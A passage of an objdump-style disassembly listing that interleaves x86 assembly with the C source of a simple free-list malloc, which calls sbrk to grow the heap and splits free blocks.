p->s.ptr){ 770: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 772: 8b 78 04 mov 0x4(%eax),%edi 775: 39 fe cmp %edi,%esi 777: 76 4f jbe 7c8 <malloc+0x98> 779: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 77b: 3b 15 bc 0a 00 00 cmp 0xabc,%edx 781: 75 ed jne 770 <malloc+0x40> if(nu < 4096) 783: 8b 45 e4 mov -0x1c(%ebp),%eax 786: 81 fe 00 10 00 00 cmp $0x1000,%esi 78c: bf 00 10 00 00 mov $0x1000,%edi 791: 0f 43 fe cmovae %esi,%edi 794: 0f 42 c3 cmovb %ebx,%eax p = sbrk(nu * sizeof(Header)); 797: 89 04 24 mov %eax,(%esp) 79a: e8 4b fc ff ff call 3ea <sbrk> if(p == (char*)-1) 79f: 83 f8 ff cmp $0xffffffff,%eax 7a2: 74 18 je 7bc <malloc+0x8c> hp->s.size = nu; 7a4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 7a7: 83 c0 08 add $0x8,%eax 7aa: 89 04 24 mov %eax,(%esp) 7ad: e8 ee fe ff ff call 6a0 <free> return freep; 7b2: 8b 15 bc 0a 00 00 mov 0xabc,%edx if((p = morecore(nunits)) == 0) 7b8: 85 d2 test %edx,%edx 7ba: 75 b4 jne 770 <malloc+0x40> return 0; 7bc: 31 c0 xor %eax,%eax 7be: eb 20 jmp 7e0 <malloc+0xb0> if(p->s.size >= nunits){ 7c0: 89 d0 mov %edx,%eax 7c2: 89 da mov %ebx,%edx 7c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 7c8: 39 fe cmp %edi,%esi 7ca: 74 1c je 7e8 <malloc+0xb8> p->s.size -= nunits; 7cc: 29 f7 sub %esi,%edi 7ce: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 7d1: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 7d4: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 7d7: 89 15 bc 0a 00 00 mov %edx,0xabc return (void*)(p + 1); 7dd: 83 c0 08 add $0x8,%eax } } 7e0: 83 c4 1c add $0x1c,%esp 7e3: 5b pop %ebx 7e4: 5e pop %esi 7e5: 5f pop %edi 7e6: 5d pop %ebp 7e7: c3 ret prevp->s.ptr = p->s.ptr; 7e8: 8b 08 mov (%eax),%ecx 7ea: 89 0a mov %ecx,(%edx) 7ec: eb e9 jmp 7d7 <malloc+0xa7> base.s.ptr = freep = prevp = &base; 7ee: c7 05 bc 0a 00 00 c0 movl $0xac0,0xabc 7f5: 0a 00 00 base.s.size = 0; 7f8: ba c0 0a 00 00 mov $0xac0,%edx base.s.ptr = freep = prevp = &base; 7fd: c7 05 c0 0a 00 00 c0 movl $0xac0,0xac0 804: 0a 00 00 base.s.size = 0; 807: c7 05 c4 0a 00 00 00 movl $0x0,0xac4 80e: 00 00 00 811: e9 46 ff ff ff jmp 75c <malloc+0x2c>